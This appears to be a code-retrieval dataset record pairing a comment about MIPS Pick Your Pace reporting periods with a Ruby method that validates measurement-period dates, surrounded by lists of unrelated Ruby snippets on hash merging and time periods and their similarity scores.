"def add_to_current_filters_and_orders(passed_hash = nil)\n filters_and_orders = current_filters_and_orders\n # adding passed hash to params\n unless passed_hash.blank?\n passed_hash.each do |key, value|\n filters_and_orders[key] = value\n end\n end\n # returning current value of filters and orders\n return filters_and_orders\n end",
"def reverse_merge!(other_hash)\n @parameters.merge!(other_hash.to_h) { |key, left, right| left }\n self\n end",
"def set_dyn_params(hash)\n hash.each do |k,v|\n set_dyn_param(k, v)\n end\n end",
"def descriptions=( new_descs )\n\t\tnew_descs.each do |name, description|\n\t\t\traise NameError, \"no parameter named #{name}\" unless\n\t\t\t\tself.constraints.key?( name.to_sym )\n\t\t\tself.constraints[ name.to_sym ].description = description\n\t\tend\n\tend",
"def <<(hash={})\r\n merge! hash\r\n end",
"def add(params)\n params.each do |key, value|\n @queries[key] = value unless @queries.key?(key)\n end\n\n self\n end",
"def +(param_opts)\n merged = @data.merge(param_opts.data)\n\n # Merge :required and :valid instead of overwriting.\n if @data[:required] && param_opts.data[:required]\n merged[:required] = @data[:required].merge(param_opts.data[:required])\n end\n if @data[:valid] && param_opts.data[:valid]\n merged[:valid] = @data[:valid].merge(param_opts.data[:valid])\n end\n\n self.class.new(merged)\n end",
"def update(other)\n other.each do |k, v|\n if has_key?(k)\n unless self[k].equal?(v)\n raise ArgumentError,\n \"Cannot update self with other because they have different \" +\n \"Parameters with the same name #{k}\"\n end\n end\n end\n super(other)\n end",
"def copy_and_delete_param(key)\n new = self.copy\n new.delete_param(key)\n return new\n end",
"def update!(**args)\n @new_name = args[:new_name] if args.key?(:new_name)\n @original_name = args[:original_name] if args.key?(:original_name)\n end",
"def add_item(hash_list, new_item, quantity = 1)\n hash_list[new_item] = quantity\n p hash_list\nend",
"def my_hash_modification_method!(source, years_to_add)\n source.each do |name, old_age|\n source[name] = old_age + years_to_add\n end\n return source\nend",
"def add_qs k,v,p={}; alter_qs :add, k,v,p; end",
"def update!(new_key_vals)\n check_keys(new_key_vals.keys)\n @key_vals.merge!(new_key_vals)\n rebuild_array\n self\n end",
"def merge_params_only(includes, p={})\n current_params = params.clone.symbolize_keys\n if includes.is_a?(Array)\n symbolized_includes = includes.map(&:to_sym)\n current_params.delete_if { |k, v| !symbolized_includes.include?(k) }\n else\n current_params.delete_if { |k, v| k != includes.to_sym }\n end\n current_params.merge(p).delete_if { |k, v| v.blank? }\n end",
"def update_config(current, new)\n current.merge! new\n end",
"def attributes=(new_attributes)\n acceptable_attributes = [:ID, :Name, :Note, :Alias, :Parent]\n @attributes = if new_attributes.is_a?(Hash)\n # Symbolify the keys in the hash\n symbolized_attributes = Hash[new_attributes.map { |(attribute, value)| [attribute.to_sym, value] }]\n \n # Pull out the acceptable attributes\n detected_attributes = {}\n acceptable_attributes.each do |attribute|\n detected_attributes[attribute] = symbolized_attributes[attribute] if symbolized_attributes[attribute]\n end\n \n detected_attributes\n else\n Feature.parse_attributes(new_attributes, only: acceptable_attributes)\n end\n end",
"def symbols(new_symbols = (not_set = true))\n return @symbols if not_set\n\n @symbols.merge!(new_symbols)\n end",
"def symbols(new_symbols = (not_set = true))\n return @symbols if not_set\n\n @symbols.merge!(new_symbols)\n end"
] |
[
"0.6497428",
"0.6486421",
"0.62861806",
"0.6204003",
"0.61893255",
"0.6016598",
"0.5961347",
"0.59476674",
"0.5939137",
"0.59138423",
"0.5851895",
"0.5793666",
"0.5731276",
"0.57029235",
"0.5689811",
"0.56885016",
"0.56885016",
"0.56833327",
"0.56726336",
"0.5662137",
"0.5584127",
"0.55420387",
"0.55357456",
"0.552087",
"0.5519677",
"0.5503337",
"0.55009305",
"0.54995286",
"0.5415961",
"0.54122686",
"0.541172",
"0.5409701",
"0.5404523",
"0.5388614",
"0.5387689",
"0.53831565",
"0.5376927",
"0.53705525",
"0.5369504",
"0.536419",
"0.53558064",
"0.5348878",
"0.53423023",
"0.53423023",
"0.5333819",
"0.5329228",
"0.5325879",
"0.53155375",
"0.53151536",
"0.5315029",
"0.5311321",
"0.530286",
"0.528878",
"0.52869713",
"0.52793396",
"0.5276207",
"0.5273692",
"0.5270051",
"0.5270051",
"0.52483934",
"0.52483934",
"0.5243984",
"0.52394927",
"0.5239129",
"0.5238442",
"0.5233984",
"0.522807",
"0.5220739",
"0.52196676",
"0.5219547",
"0.5211689",
"0.52065945",
"0.52034163",
"0.5202364",
"0.519508",
"0.5192672",
"0.5192148",
"0.517534",
"0.51720905",
"0.51667905",
"0.5162109",
"0.5156616",
"0.51544136",
"0.51483166",
"0.51396126",
"0.5137418",
"0.5135257",
"0.5129949",
"0.5128176",
"0.51281047",
"0.51261383",
"0.5125725",
"0.512466",
"0.5123122",
"0.5121762",
"0.51042056",
"0.5102683",
"0.51014245",
"0.50998133",
"0.50998133"
] |
0.81937987
|
0
|
the MIPS program allows for Pick Your Pace (PYP) reporting periods, where the length can be anywhere between 1 day and a year of data
|
def validate_pyp_measurement_period
rp_start_date, rp_end_date = formatted_start_and_end(@rp_start, @rp_end)
mp_start_date, mp_end_date = formatted_start_and_end(@program_year + '0101', @program_year + '1231')
unless rp_end_date >= rp_start_date
msg = 'Reported Measurement Period should be at least 1 day'
@errors << build_error(msg, @rp_start_node.parent.path, @options[:file_name])
end
unless rp_start_date >= mp_start_date && rp_end_date <= mp_end_date
msg = "Reported Measurement Period should be between #{mp_start_date} and #{mp_end_date}"
@errors << build_error(msg, @rp_start_node.parent.path, @options[:file_name])
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def period; end",
"def period; end",
"def period; end",
"def nb_year(p0, percent, aug, p)\n year_count = 0\n until p0 >= p do\n p0 += (p0 * (percent/100.to_f)) + aug\n year_count += 1\n # binding.pry\n end\n year_count\n # binding.pry\nend",
"def create_time_periods(time_period_length = MSecPerHour)\n days = []\n time_periods = nil\n prev_start = @raw_data[0][0] + 1 # cross over into first day\n \n for data in @raw_data\n # Has data crossed over to next day?\n if prev_start > data[0] # Time increases throughout the day...\n days << time_periods if time_periods != nil\n \n cur_time_period = 0\n time_periods = [[]]\n \n puts \"New day: data=#{data[0]}\" if Verbose\n \n # Has data crossed over to next time period?\n elsif data[0] > ((cur_time_period + 1) * time_period_length)\n # Handle cases where the count is 0 for a time period\n while data[0] > ((cur_time_period + 1) * time_period_length)\n cur_time_period += 1\n time_periods[cur_time_period] = []\n end\n \n puts \"New time period: data=#{data[0]}\" if Verbose\n end\n \n time_periods[cur_time_period] << data\n prev_start = data[0]\n end\n \n # Add last time period\n days << time_periods\n days\n end",
"def period=(p_value)\n @period = p_value < 1.0 ? p_value : (p_value / 1000.0)\n\n return unless @duty\n\n calc_resistors\n end",
"def period\n 4/frequency\n end",
"def actual_periods(length)\n from = Date.today\n to = from + length\n periods.select do |p|\n from < p.end_date && p.start_date <= to\n end\n end",
"def nb_year(p0, percent, aug, p)\n count = 0\n while p0 < p\n p0 = p0 + (p0 * percent * 0.01).to_i + aug\n count += 1\n end\n \n return count\nend",
"def period\n\t\t\t\t5\n\t\t\tend",
"def nb_year(p0, percent, aug, p)\n years = 0\n while p >= p0 do\n p0 += (percent/100.0 * p0) + aug\n years += 1\n end\n p years\nend",
"def periods(options = {})\n #reset_first_period\n #reset_last_period\n\n #number_of_buffer_periods=4\n\n #Period.range(\n # self.first_period.find_preceding(number_of_buffer_periods).last,\n # self.last_period.find_following(number_of_buffer_periods).last\n #)\n Period.range(self.first_period, self.last_period)\n end",
"def get_periods(first_start, first_end) \n\t\tperiods = []\n\n\t\tnot_ends = \n\t\t\t(@until.is_a? Fixnum) ?\n\t\t\tlambda {|i,d| i < @until} :\n\t\t\tlambda {|i,d| d < @until}\n\n\t\tduration = first_end - first_start\n\t\tcurrent_start = first_start\n\n\t\ti = 0\n\t\twhile not_ends.call(i, current_start)\n\t\t\tperiods << [current_start, current_start + duration]\n\n\t\t\tcurrent_start += @period_duration\n\t\t\ti +=1\n\t\tend\n\n\t\tperiods\n\tend",
"def period=(value)\n @period = value\n end",
"def get_periods(first_start, first_end) \n\t\tperiods = []\n\n\t\tnot_ends = \n\t\t\t(@until.is_a? Fixnum) ?\n\t\t\tlambda {|i,d| i < @until} :\n\t\t\tlambda {|i,d| d < @until}\n\n\t\tduration = first_end - first_start\n\t\tcurrent_start = first_start\n\n\t\ti = 0\n\t\tcount = 0\n\t\twhile not_ends.call(count, current_start)\n\t\t\tperiods << [current_start, current_start + duration]\n\n\t\t\ti += 1\n\t\t\t# get first month that has given day number\n\t\t\ti+=1 while (first_start << -(i * @period_duration)).day != first_start.day\n\n\t\t\tcurrent_start = (first_start << -(i * @period_duration))\n\t\t\tcount += 1 \n\t\tend\n\n\t\tperiods\n\tend",
"def display_in_time_periods(num,options={})\n format = options[:format] || '%.1f'\n precision = options[:precision]\n raise \"precision must be an integer\" if precision && precision.to_i != precision\n\n period = options[:period]\n case period\n when :seconds,:minutes,:hours,:days,:weeks,:months,:years \n t_unit = period.to_s.chomp('s')\n format_period(format % (num / TIME_IN_SECONDS[t_unit.to_sym] ), t_unit,options[:short])\n else\n text = []\n accounted = 0\n first = nil\n # makes the math eaiser ....\n precision -= 1 if precision\n [:year,:month,:week,:day,:hour,:minute,:second].each_with_index { |unit,i| \n p = TIME_IN_SECONDS[unit]\n n = (num - accounted)/ p \n if n > 1\n accounted += (n.floor)*p\n if precision\n first ||= i\n if i - first < precision\n n = n.floor.to_s\n elsif i - first == precision\n n = format % n\n else\n break\n end\n else\n n = n.floor\n end\n text << format_period(n, unit,options[:short])\n end\n }\n text*' '\n end \n end",
"def period_in_ns=(p)\n self._period_in_ns_ = p\n\n # If this is the current timeset, reset the timeset from the tester\n # side to verify that everything is in sync. Otherwise, the period_in_ns\n # here may not match what the tester/DUT has.\n if current_timeset?\n OrigenTesters::Timing.set_timeset(name, p)\n end\n\n # Return the period\n p\n end",
"def lap_time(num_laps)\n raise \"Unable to process >= 100 laps\" if num_laps >= 100\n ((100 - num_laps) * 100000000)\n end",
"def lap_time(num_laps)\n raise \"Unable to process >= 100 laps\" if num_laps >= 100\n ((100 - num_laps) * 100000000)\n end",
"def day_period(time = now, type: :default) = day_periods(time, type: type).min_by(&:length)",
"def period\n self.strftime(\"%P\")\n end",
"def report_time_periods(sensor, report_averages, time_period_length)\n days = create_time_periods(time_period_length)\n num_time_periods = (MSecPerHour * 24) / time_period_length # 24 hrs / X ms\n\n counts = count_per_time_period(days)\n avg_speeds = speed_per_time_period(days)\n avg_dists = dist_per_time_period(days)\n \n puts(\"\\nTime Interval: #{time_period_length/MSecPerMin} Minutes\")\n if (num_time_periods > 2)\n peaks = find_peak_times(days)\n puts(\"Peak Times\")\n for i in 0...peaks.size\n printf(\"#{Days[i]}:\")\n peaks[i].size.times {|p| printf(format_time_interval_index(peaks[i][p][1], time_period_length))}\n puts \"\"\n end\n end\n \n puts(\"Statistics\")\n printf(\"Data \")\n printf(\"\\tDay\") if not report_averages\n \n num_time_periods.times{|i| printf(format_time_interval_index(i, time_period_length))} \n report_column_data(days, num_time_periods, report_averages, counts, report_averages ? \"Avg Count\" : \"Count \", \"% 5d\")\n report_column_data(days, num_time_periods, report_averages, avg_speeds, \"Avg Speed\", \"%02.02f\")\n report_column_data(days, num_time_periods, report_averages, avg_dists, \"Avg Dist \", \"%02.02f\")\n puts \"\"\n end",
"def find_period_one(n)\n x = Math.sqrt(n).to_i\n frac = Math.sqrt(n) - x\n p = [x]\n until p[-1] == 2 * p[0]\n frac = 1 / frac\n x = frac.to_i\n frac -= x\n p << x\n end\n p.size - 1\nend",
"def predictPicoYPlaca (date, time)\n #Initialize date vars\n dateToEvaluate = Time.local(date.split(\"/\")[0], date.split(\"/\")[1], date.split(\"/\")[2], time.split(\":\")[0], time.split(\":\")[1])\n schedulePicoYPlaca = picoYPlacaIsAviable(date, time)\n\n #validate the schedule of \"pico y placa\"\n if (schedulePicoYPlaca == true)\n #split the license number\n licenseNumberArray = @licenseNumber.split(\"-\")[1]\n \n dateArray = dateToEvaluate.to_a\n case dateArray[6]\n when 1 # monday (1 and 2)\n if (licenseNumberArray[licenseNumberArray.length-1] == \"1\" || licenseNumberArray[licenseNumberArray.length-1] == \"2\")\n p \"The car with license number \" + @licenseNumber + \" can't be road!\"\n return false\n else\n p \"The car with license number \" + @licenseNumber + \" can be road!\"\n return true\n end\n when 2 # tuesday (3 and 4)\n if (licenseNumberArray[licenseNumberArray.length-1] == \"3\" || licenseNumberArray[licenseNumberArray.length-1] == \"4\")\n p \"The car with license number \" + @licenseNumber + \" can't be road!\"\n return false\n else\n p \"The car with license number \" + @licenseNumber + \" can be road!\"\n return true\n end\n when 3 # wednesday (5 and 6)\n if (licenseNumberArray[licenseNumberArray.length-1] == \"5\" || licenseNumberArray[licenseNumberArray.length-1] == \"6\")\n p \"The car with license number \" + @licenseNumber + \" can't be road!\"\n return false\n else\n p \"The car with license number \" + @licenseNumber + \" can be road!\"\n return true\n end\n when 4 # thursday (7 and 8)\n if (licenseNumberArray[licenseNumberArray.length-1] == \"7\" || licenseNumberArray[licenseNumberArray.length-1] == \"8\")\n p \"The car with license number \" + @licenseNumber + \" can't be road!\"\n return false\n else\n p \"The car with license number \" + @licenseNumber + \" can be road!\"\n return true\n end\n when 5 # friday (9 and 0)\n if (licenseNumberArray[licenseNumberArray.length-1] == \"9\" || licenseNumberArray[licenseNumberArray.length-1] == \"0\")\n p \"The car with license number \" + @licenseNumber + \" can't be road!\"\n return false\n else\n p \"The car with license number \" + @licenseNumber + \" can be road!\"\n return true\n end\n else \n p \"The 'Pico y Placa' only works on weekdays!\"\n return true\n end\n end\n end",
"def load_period\n open('input.txt') do |file|\n dates = file.gets.split(/-/)\n Period.new(Date.parse(dates.first), Date.parse(dates.last))\n end\n end",
"def get_period( sin )\n period_to_date = {\n 'I' => '-09-01',\n 'II' => '-11-01',\n 'III' => '-01-01',\n 'IV' => '-03-01',\n 'S' => '-06-01'\n }\n year, period = sin.split('-')\n sdate = year + period_to_date[ period ]\n Period.find_by_date( sdate )\n end",
"def period\n return @period\n end",
"def periods( num )\n @ma.fetch_periods( num )\n end",
"def planning_periods\n return [] if plannings.empty? or course.nil?\n\n periods = []\n course.plannings.each do |planning|\n next if planning.week_day.nil? or Date::DAYNAMES[planning.week_day].nil?\n course_day = Date::DAYNAMES[planning.week_day].downcase\n periods += planning.periods.map { |period| \"#{course_day}-#{period}\" }\n end\n\n periods.uniq\n end",
"def getFundAppriciationOverTime(port, start_date, end_date)\r\n\r\n\t\t\r\n\r\n\tend",
"def pmt(rate, nper, pv)\n\n # =========================================================\n #the required output already accounts for monthly nature by dividing the 0.0404 by 12. it also already puts the percentage in decimal form so no need to adjust for rate on the back end\n part1 = (pv * rate)\n part2 = 1 - (1 + rate)**-nper\n\n monthly_payment = part1 / part2\n\n # Your code to implement the method goes here.\n # You shouldn't have to write or change code anywhere else.\n # =========================================================\nend",
"def period_length_in_seconds\n @period_length_in_seconds ||= period_length.to_i.minutes.to_i\n end",
"def period_count(tester: V1_TESTER, period:, start_time: Time.now)\n raise HydrantException.new(\"Invalid start time\") unless start_time.is_a? Time\n raise HydrantException.new(\"Invalid test period\") unless period.is_a? ActiveSupport::Duration\n\n # This is a nifty bit of Ruby. Explained:\n # self.send(tester.to_sym) => call the instance method whose name matches the value of tester,\n # which returns a Ruby SortedSet, as initialized when this instance was created.\n # map {|o| o < ((start_time - period).to_i .. start_time.to_i).include? o} => Find all\n # values in the SortedSet that are inclusively between start_time and start_time - period.\n # Returns an array of Booleans.\n # reject{|i| !i}.count => remove any false bools in the array, and count the remaining trues.\n self.send(tester.to_sym).map {|o| ((start_time - period).to_i .. start_time.to_i).include? o}.reject{|i| !i}.count\n end",
"def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n time_in_months = 0.0\n \n case @population_density\n when 1..49 then time_in_months += 2.5\n when 50..99 then time_in_months += 2\n when 100..149 then time_in_months += 1.5\n when 150..199 then time_in_months += 1.0\n else time_in_months += 0.5\n end\n\n puts \" and it will spread across the state in #{time_in_months} months.\\n\\n\"\n\n end",
"def retirement_planner\n\n time = Time.new\n\n current_year= time.year\n\n print \"How old are you?\"\n current_age = gets.chomp.to_i\n\n print \"What age do you want to retire?\"\n retire_age = gets.chomp.to_i\n\n time_to_retire = retire_age - current_age\n retirement_year = current_year + time_to_retire\n\n puts \"you have #{time_to_retire} left until you retire\\n\"\n puts \" its #{current_year}, so you can retire in #{retirement_year}\"\nend",
"def initial_call_off_period_length\n return if errors[:initial_call_off_period_years].any? || errors[:initial_call_off_period_months].any?\n\n errors.add(:base, :total_contract_period) if initial_call_off_period > 7.years || initial_call_off_period.zero?\n end",
"def ping_period(stdin)\n\n current_mode = nil # Are we currently \"good\" or \"fail\"?\n mode_count = 0 # For how long in a row?\n total_count = 0 # Pings so far.\n totally_good = 0 # Successful pings.\n ping_ms = 0.0 # Latest successful ping time in milliseconds.\n packets_line = '' # Ping packets received summary line.\n round_trip_line = '' # Ping round-trip milliseconds summary line.\n filter_mode = false # Wifi login filter is active.\n line_time = nil # Latest line timestamp.\n first_byte = nil # DNS lookup complete read test byte.\n\n # Long DNS lookups can effectively freeze ping for a while.\n # To reproduce: turn VPN off and then on, then turn WiFi off.\n # This logic is impractical to simulate in a meaningful way\n # so we just pass the messages on for later debugging display.\n waiting_start = Time.now\n last_notified = waiting_start\n until first_byte\n begin\n first_byte = stdin.read_nonblock(1)\n rescue IO::EAGAINWaitReadable\n now = Time.now\n if now - last_notified >= 1\n hhmmss_line(now, \"Waiting for dns lookup of #{@options.host} ...\")\n if @ping_to\n @ping_to.puts \"#{now.to_i} DNS_LOOKUP #{@status_line}\"\n @ping_to.flush\n end\n last_notified = now\n end\n sleep 0.2 # Be nice to the cpu.\n rescue\n break\t# Some systems throw an error at pipe eof.\n end\n end\n if last_notified > waiting_start\n commit_status() # Leave the last Waiting... line as history.\n end\n\n # Process each line of ping output.\n while true\n begin\n # See debugging/ruby-spawn-gets-zombie.rb for OS X bug here.\n line = stdin.gets\n rescue\n break\t# Some systems throw an error at pipe eof.\n end\n break unless line\n\n line.chomp!\n if first_byte\n line = first_byte + line\n first_byte = nil\n end\n\n if @ping_from\n # Read from the debugging source file up to the end of this ping run.\n if line == \"END_OF_PING\"\n break # End this ping accounting period run.\n end\n # Simulate the past by loading the effective time for this line.\n time, line = line.split(\" \", 2)\n line_time = Time.at(time.to_i)\n else\n line_time = Time.now\n end\n\n if @ping_to\n # Capture this ping output line with the timestamp for later debugging.\n @ping_to.puts \"#{line_time.to_i} #{line}\"\n @ping_to.flush\n end\n\n # DNS failure modes.\n if line =~ /cannot resolve/\n # ping: cannot resolve ns.google.com: Unknown host\n hhmmss_line(line_time, line)\n sleep 1 unless @ping_from # Speed up testing.\n @dns_failing = true\n elsif line =~ /DNS_LOOKUP (.*)/\n # Waiting for dns lookup of ns.google.com ...\n status_line($1)\n @dns_failing = true\n elsif @dns_failing\n # If DNS was previously failing, pop to a fresh line.\n commit_status() # Leave the DNS failure line as history.\n @dns_failing = false\n end\n\n # This indicates a ping success or failure line. Nil means neither.\n new_mode = nil\n\n # Parse the line.\n if line =~ /^PING /\n #\n # The first ping output line shows the destination host and ip.\n #\n # PING ns.google.com (216.239.32.10): 56 data bytes\n #\n unless @shown_header\n put_line \"#{line} #{line_time.strftime(\"%Y-%m-%d %H:%M:%S %z\")}\"\n put_line\n put_line \"Time Ping Run Mode Failed Round Trip\"\n put_line \"----- ---- ---- ---- ------ ----------\"\n @shown_header = true # Only show these once per wifi-watch.\n end\n\n elsif line =~ / bytes from /\n if line =~ / time=(\\S+) ms/\n #\n # Success! Record the round trip time.\n #\n # 64 bytes from 104.27.146.148: icmp_seq=48 ttl=61 time=24.780 ms\n #\n ping_ms = $1.to_f\n new_mode = 'good'\n if filter_mode\n commit_status() # Keep the filter message line.\n filter_mode = false\n end\n else\n #\n # Here the wifi login has timed out and is blocking packets.\n # Multi line ping output shows both the timeout and filter message\n # lines plus some additional diagnostic lines that we ignore.\n #\n # Request timeout for icmp_seq 5\n # 92 bytes from 10.128.128.128: Communication prohibited by filter\n # Vr HL TOS Len ID Flg off TTL Pro cks Src Dst\n # 4 5 00 5400 6dea 0 0000 40 01 21dd 10.57.228.249 104.27.147.148\n #\n unless filter_mode\n commit_status() # Keep the last unfiltered status line.\n filter_mode = true\n end\n hhmmss_line(line_time, line)\n end\n\n elsif line =~ /^Request timeout for /\n # Request timeout for icmp_seq 3\n new_mode = 'fail'\n\n elsif line =~ / packets transmitted, /\n # 5 packets transmitted, 5 packets received, 0.0% packet loss\n # 3 packets transmitted, 3 received, 0% packet loss, time 2003ms\n packets_line = line\n\n elsif line =~ /^(round-trip|rtt) /\n # round-trip min/avg/max/stddev = 0.063/0.082/0.122/0.022 ms\n # rtt min/avg/max/mdev = 15.148/15.530/15.770/0.273 ms\n round_trip_line = line\n end\n\n if new_mode\n # Update the counts with success or failure.\n if new_mode != current_mode\n current_mode = new_mode\n mode_count = 0\n end\n mode_count += 1\n totally_good += 1 if current_mode == 'good'\n total_count += 1\n unless filter_mode\n show_stats(line_time, total_count, totally_good,\n current_mode, mode_count, ping_ms)\n end\n end\n\n end\n\n if @ping_to\n # Insert a ping run separator line into the debugging file.\n @ping_to.puts \"END_OF_PING\"\n @ping_to.flush\n end\n\n # Final summary line.\n if packets_line =~ /(\\d+) packets transmitted, (\\d+)/\n total_count = $1.to_i\n totally_good = $2.to_i\n avg_ms = ping_ms\n if round_trip_line =~ / (\\S+) ms/\n avg_ms = $1.split('/')[1].to_f # Extract the average time.\n end\n show_stats(line_time, total_count, totally_good,\n 'good', totally_good, avg_ms)\n end\n unless @dns_failing\n commit_status() # Leave this summary line as history.\n end\n end",
"def p206\n re = /1.2.3.4.5.6.7.8.9.0/\n max = Math.sqrt(1929394959697989990).floor\n\n # Round since only squares of multiples of 30 and 70 end with 9_0 (e.g. 900)\n i = round_up Math.sqrt(1020304050607080900).floor, 100\n while i < max\n p30 = (i+30) ** 2\n p70 = (i+70) ** 2\n\n if re === \"#{p30}\"\n return \"#{i+30}^2 = #{p30}\"\n elsif re === \"#{p70}\"\n return \"#{i+70}^2 = #{p70}\"\n end\n\n i += 100\n end\nend",
"def prepare_interval(period, &block); end",
"def periods\n \"#{period}s\".to_sym\n end",
"def initialize(period, length = nil)\n name = period.to_sym\n if AVAILABLE_PERIODS.include?(name)\n @name = name\n elsif AVAILABLE_TIME_UNITS.include?(name)\n @name = PERIOD_MAPPING.invert[name]\n else\n raise ArgumentError, \"`#{period}' is not a valid period\"\n end\n @length = length\n @format = Von.config.send(:\"#{@name}_format\")\n end",
"def next_meeting(after_time = Time.now.utc )\n # puts \"Looking up next meeting after #{after_time}\"\n if recurrence_frequency.blank?\n return start_time\n end\n\n if after_time < start_time\n return start_time\n end \n\n after_time = after_time.local_from_utc(self.time_zone) \n\n\n # Advance the starting time in the case when it falls after the beginning of\n # a meeting on the same day. We do this so that we can use \"day precision\"\n # (PDate.day) in the Runt library instead of \"minute precision\" (PDate.min),\n # which performs terribly.\n start_time = start_time_local\n if(after_time.hour > start_time.hour or ( after_time.hour == start_time.hour and after_time.min > start_time.min))\n after_time = after_time + 1.day\n after_time = Time.gm(after_time.year, after_time.month, after_time.day, 0, 0)\n end\n\n case recurrence_frequency\n when 'daily'\n end_time = after_time + 25.hours \n # after_time -= 1.day\n start_date = PDate.day(after_time.year, after_time.month, after_time.day , after_time.hour, after_time.min)\n end_date = PDate.day(end_time.year, end_time.month, end_time.day, end_time.hour, end_time.min)\n when 'weekdays'\n # Make the range over 3 days so that Friday night searches will still turn\n # up Monday as the next day.\n end_time = after_time + 3.days\n start_date = PDate.day(after_time.year, after_time.month, after_time.day, after_time.hour, after_time.min)\n end_date = PDate.day(end_time.year, end_time.month, end_time.day, end_time.hour, end_time.min)\n when 'monthly'\n eom = (after_time + 40.days)\n start_date = PDate.day(after_time.year, after_time.month, after_time.day)\n end_date = PDate.day(eom.year, eom.month, eom.day)\n when 'weekly'\n eow = (after_time + 8.days)\n start_date = PDate.day(after_time.year, after_time.month, after_time.day)\n end_date = PDate.day(eow.year, eow.month, eow.day)\n when 'yearly'\n # Just doing \"after_time + 367.days\" results in a bit of a performance hit\n # as hundreds of days are compared. We'll try to narrow it a bit. Not too\n # much, because we don't have time to actually write unit tests and make\n # sure the narrowing code works. :) Which is why the comment is here.\n st = after_time + 250.days\n et = st + 150.days\n start_date = PDate.day(st.year, st.month, st.day)\n end_date = PDate.day(et.year, et.month, et.day)\n end \n # puts \" Range #{start_date.to_s} - #{end_date.to_s}\"\n d_range = DateRange.new(start_date, end_date)\n sched = Schedule.new\n event = Event.new((self.invitation.name rescue \"no name\"))\n sched.add(event,self.runt_expression)\n dates = sched.dates(event,d_range)\n\n next_mtg = dates.first\n next_mtg_time = Time.gm(next_mtg.year, next_mtg.month, next_mtg.day, start_time_local.hour, start_time_local.min)\n result = nil\n begin\n result = next_mtg_time.local_to_utc(self.time_zone)\n rescue TZInfo::PeriodNotFound\n # This only happens when the time is during the one hour which is skipped\n # during the transition to DST. For example, only on Sun Mar 08 02:15:00\n # (see ticket #744).\n next_hour = start_time_local.hour + 1\n next_mtg_time = Time.gm(next_mtg.year, next_mtg.month, next_mtg.day, next_hour, start_time_local.min)\n retry\n end\n return result\n end",
"def calc_interval(number_events)\n\tprng = 60.00/number_events # temporal solution, IMPROVE\n\n\treturn (interval)\nend",
"def periods\n @periods ||= @data['properties']['periods'].map { |row|\n ::WeatherSage::Weather::Period.new(@ctx, row)\n }\n end",
"def jpd_cycle\r\n jpd_date - $jpd_2000\r\nend",
"def target_number_of_ama_hearings(time_period)\n decisions_in_days = (time_period.to_f / 1.year) * nonpriority_decisions_per_year\n (decisions_in_days * docket_proportions[:hearing]).round\n end",
"def getPep (cds, seq)\n\nend",
"def twin_prdx(mass)\n top=1\n for i in 366..366-mass\n top *= i\n end\n return top/ui_pow(366, mass)\nend",
"def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0\r\n case @population_density\r\n when (200..10000000000) then speed = 0.5\r\n when (150..199) then speed = 1\r\n when (100..149) then speed = 1.5\r\n when (50..99) then speed = 2\r\n else\r\n speed = 2.5\r\n end\r\n # binding.pry\r\n\r\n\r\n=begin\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n=end\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end",
"def create_duration_table(quarter_note_length)\n # Fuck it if the song have two dots or a combination of dots and \"three\"...\n whole = (quarter_note_length * 4)\n dotted_whole = (quarter_note_length * 6)\n whole_triplet = (8 * quarter_note_length / 3)\n half = (quarter_note_length * 2)\n dotted_half = (quarter_note_length * 3)\n half_three = (whole / 3)\n dotted_quarter = (quarter_note_length * 1.5)\n quarter_triplet = (half / 3)\n eight = (quarter_note_length / 2)\n eight_triplet = (quarter_note_length / 3)\n dotted_eight = (3 * quarter_note_length / 4)\n sixteenth = (quarter_note_length / 4)\n sixteenth_triplet = (eight / 3)\n dotted_sixteenth = (3 * quarter_note_length / 8)\n thirty_second = (quarter_note_length / 8)\n thirty_second_triplet = (sixteenth / 3)\n dotted_thirty_second = (3 * quarter_note_length / 16)\n sixty_fourth = (quarter_note_length / 16)\n sixty_fourth_triplet = (thirty_second / 3)\n dotted_sixty_fourth = (3 * quarter_note_length / 32)\n \n @duration_table = {\n whole => 'whole',\n dotted_whole => 'dotted whole',\n whole_triplet => 'whole triplet',\n half => 'half',\n dotted_half => 'dotted half',\n half_three => 'half triplet',\n quarter_note_length => 'quarter',\n dotted_quarter => 'dotted quarter',\n quarter_triplet => 'quarter triplet',\n eight => 'eighth',\n dotted_eight => 'dotted eighth',\n eight_triplet => 'eighth triplet',\n sixteenth => 'sixteenth',\n dotted_sixteenth => 'dotted sixteenth',\n sixteenth_triplet => 'sixteenth triplet',\n thirty_second => 'thirtysecond',\n dotted_thirty_second => 'dotted thirtysecond',\n thirty_second_triplet => 'thirtysecond triplet',\n sixty_fourth => 'sixtyfourth',\n dotted_sixty_fourth => 'dotted sixtyfourth',\n sixty_fourth_triplet => 'sixtyfourth triplet'\n }\n end",
"def pmt rate, nper, pv\n\n\tpay = 0.0\n\tnumerator = 0.0\n\tdenominator = 0.0\n\n\tnumerator = pv * rate * (1 + rate) ** nper\n\n\tdenominator = ((1 + rate) ** nper) - 1\n\n\tpay = numerator / denominator\n\n\treturn pay.round(2)\n\nend",
"def calcPSLResults(path)\n stats = Parse.pslRun(path)\n return [\n stats[Parse::GROUNDING_TIME],\n stats[Parse::INFERENCE_TIME],\n stats[Parse::TOTAL_TIME]\n ]\n end",
"def generate_daytime_distribution \n \n end",
"def leap_year\n#ask for starting year\nputs \"What is the starting year?\"\nstart_year = gets.chomp.to_i\n\n#ask for ending year\nputs \"What is the ending year?\"\nend_year = gets.chomp.to_i\n\n#loop through array of years from start_year to end_year and select leap years based on given conditions\nleap_arr = []\n\n(start_year..end_year).select do |leap| \n leap_arr = leap % 4 == 0 || leap % 400 == 0\nend\nend",
"def range\n beginning_of_period..(self.next_year).beginning_of_period\n end",
